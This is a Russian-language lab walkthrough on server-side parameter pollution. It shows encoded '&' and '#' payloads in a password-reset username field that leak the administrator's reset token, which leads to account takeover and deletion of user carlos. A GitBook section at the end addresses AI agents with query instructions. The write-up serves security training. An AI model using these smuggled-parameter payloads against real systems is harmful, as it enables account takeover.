> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/api-testing/server-side-parameter-pollution-in-the-query-string.md).

# Загрязнение параметров на стороне сервера в строке запроса

### Использование загрязнения параметров на стороне сервера в строке запроса

**Цель лабораторной работы**/ Войти как администратор, а затем удалить пользователя **carlos**.

#### Функция «Забыли пароль»

Доступна функция сброса пароля.

<figure><img src="/files/582a9f1af63604231a6dec0f57e3cbd9ed376fba" alt=""><figcaption></figcaption></figure>

Запрос, отправляемый на сервер, выглядит так:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator
```

Ответ сервера:

```json
{
    "type":"email",
    "result":"*****@normal-user.net"
}
```

<figure><img src="/files/ecef3b5a97cef24e58ce6f21e605035b6c9c1133" alt=""><figcaption></figcaption></figure>

#### Попытки загрязнения параметров

Попробуйте добавить новый параметр через `&`:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&test=test
```

или в закодированном виде:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26test=test
```

Сервер отвечает:

```json
{
    "error": "Параметр не поддерживается."
}
```

#### Используя `#` Символ

С `#`, поведение меняется:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator#test=test
```

или в закодированном виде:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%23test=test
```

Ответ сервера:

```json
{
    "error": "Поле не указано."
}
```

Это указывает на существование **поле** параметра, ожидаемого на стороне сервера.

#### Обнаружение `поле` параметра

Отправьте следующий запрос:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=test
```

Затем мы объединяем `поле` на `#` чтобы внедрить дополнительные значения:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=x#
```

или в закодированном виде:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=x%23
```

<figure><img src="/files/f6c183508905e841fc310a2b2b20ff6dea6eb046" alt=""><figcaption></figcaption></figure>

Проверяя разные **имена переменных на стороне сервера**, вы получаете корректный ответ с кодом **200**, раскрывающий поля **email** и **username**.

<figure><img src="/files/e98664ae859911ec0573f92b8262fc50f3928a0d" alt=""><figcaption></figcaption></figure>

#### Анализ JavaScript-файла forgot-password.js

Доступный JavaScript-файл раскрывает следующую логику:

* Данные формы кодируются вручную.
* Запрос отправляется через `fetch` в POST.
* Если ответ содержит `свойство result` , отображается сообщение «Проверьте свою электронную почту».
* Один **reset-token** параметр извлекается из строки запроса:

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Неверное имя пользователя";
                }
                else
                {
                    forgotPasswordError.textContent = `Проверьте свою электронную почту: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Неверное имя пользователя";
            });
    } catch (error) {
        console.error("Неожиданная ошибка:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

Это подтверждает существование пригодного к использованию **reset/ токена** параметр.

#### Использование `reset_token` параметра

Затем этот параметр внедряется через загрязнение на стороне сервера:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=reset_token%23
```

Сервер отвечает:

```json
{
    "type":"reset_token","result":"62ptz5mdgs48omh0u3uf3z7b7w9kiybt"
}
```

<figure><img src="/files/d05a19fa014bbcf16414ab7502a9f33a7e5cdc69" alt=""><figcaption></figcaption></figure>

#### Сбросить пароль администратора

Используя полученный токен, вы переходите по следующему URL:

```bash
/forgot-password?reset_token=62ptz5mdgs48omh0u3uf3z7b7w9kiybt
```

Это позволяет сбросить пароль администратора, войти в эту учетную запись, а затем удалить пользователя **carlos**, тем самым подтвердив прохождение лабораторной работы.

<figure><img src="/files/7cf3a34ac35910617bd1276871a9d03434fe6342" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/api-testing/server-side-parameter-pollution-in-the-query-string.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
